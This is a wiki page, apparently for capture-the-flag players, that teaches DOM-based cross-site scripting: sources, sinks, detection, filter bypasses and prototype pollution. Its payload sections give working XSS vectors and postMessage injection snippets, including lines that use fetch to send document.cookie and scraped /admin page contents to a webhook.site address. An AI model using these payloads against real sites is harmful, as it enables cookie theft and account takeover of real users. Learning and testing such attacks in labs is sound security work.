Athena Wiki

DOM-Based XSS

webintermediate

Understand, identify, and exploit DOM-based Cross-Site Scripting in CTF web challenges.

webxssdomjavascriptsinksourceprototype-pollution

DOM-Based XSS

DOM-based XSS happens entirely in the browser when client-side JavaScript reads attacker-controlled data (a source) and writes it to a dangerous sink without proper sanitization or encoding. The server may never see the malicious payload, so DOM XSS often evades server-side scanners.


Quick summary

  • Sources: location.hash, location.search, location.href, document.URL, document.referrer, window.name, postMessage.
  • Sinks: innerHTML, outerHTML, document.write, eval, setTimeout/setInterval with string args, element.src/href when set unsafely.
  • Detection: search JS for common source/sink patterns and test with fragment (#) payloads and postMessage probes.

Source vs sink (common list)

Sources (attacker-controlled)Sinks (dangerous write operations)
location.hash, location.searchinnerHTML, outerHTML
location.href, document.URLdocument.write()
document.referrer, window.nameeval(), new Function()
postMessage datasetTimeout(string), setInterval(string)

Detection techniques

  1. Static inspection: search code for sink functions and trace the source of their inputs.

  2. Runtime probing:

  • Hash tests: http://target/page#<img src=x onerror=alert(1)>
  • Search tests: ?q=<svg onload=alert(1)>
  • postMessage: if a page listens to messages, craft a postMessage from a controlled origin.
  1. Tools: Burp's DOM Invader / Chrome DevTools to locate and test sources/sinks.

Practical payloads

Hash-based DOM XSS (fragment payload):

http://target/page#<img src=x onerror=alert(1)>
http://target/page#<svg onload=alert(document.cookie)>

postMessage injection (from attacker-controlled page):

let w = window.open('https://victim/page');
setTimeout(()=> w.postMessage('<img src=x onerror=alert(document.cookie)>','*'),500);

eval/setTimeout sinks (string execution):

http://target/#alert(1)
// or encoded: %61%6c%65%72%74%281%29

Bypass techniques when <script> is blocked:

  • Event handlers: <img src=x onerror=alert(1)>, <details open ontoggle=alert(1)>.
  • SVG vectors: <svg onload=...> or embedded <script> inside SVG uploads.
  • Encoded payloads: HTML entities, UTF-7, double-encoding.

CTF Quick Start

    1. Identify sources visible to admin/bot (#, ?, postMessage).
    1. Confirm with a low-noise marker: #<b>ctf-test</b> or ?q=<i>ctf</i>.
    1. Test minimal vectors: hash #<img src=x onerror=alert(1)>, postMessage from a controlled window, or small eval() probe.
    1. Use webhooks (webhook.site, Burp Collaborator) to capture exfiltrated data.
    1. If bot-driven, add a small delay (setTimeout) to improve reliability.

Payload quick-refs (CTF)

  • Hash image: #<img src=x onerror=fetch(\'https://webhook.site/ID?c=\'+btoa(document.cookie))>
  • postMessage sender snippet:
let w = window.open('https://victim/page');
setTimeout(()=> w.postMessage('<img src=x onerror=fetch("https://webhook.site/ID?c="+btoa(document.cookie))">','*'),500);
  • Eval probe: #alert(1) (URL-encoded if needed)

Prototype pollution & sink hijacking (advanced)

When an application copies untrusted objects into prototypes or merges JSON from untrusted sources, prototype pollution can change application behavior and introduce new sinks. Test for __proto__, constructor.prototype, and unexpected object merges that reach sinks.

Example test:

// attempt to set a property that influences sink behavior
obj = JSON.parse('{"__proto__":{"isAdmin":true}}');

If successful, polluted properties may trigger unsafe client-side flows that lead to XSS or privilege escalation.


Exploitation patterns and post-exploitation

  • Cookie exfiltration (note: cannot read HttpOnly cookies):
<img src=x onerror="fetch('https://webhook.site/ID?c='+btoa(document.cookie))">
  • DOM scraping and action automation:
<script>
  fetch('/admin',{credentials:'include'}).then(r=>r.text()).then(t=>fetch('https://webhook.site/ID?d='+btoa(t)));
</script>


Last updated on

On this page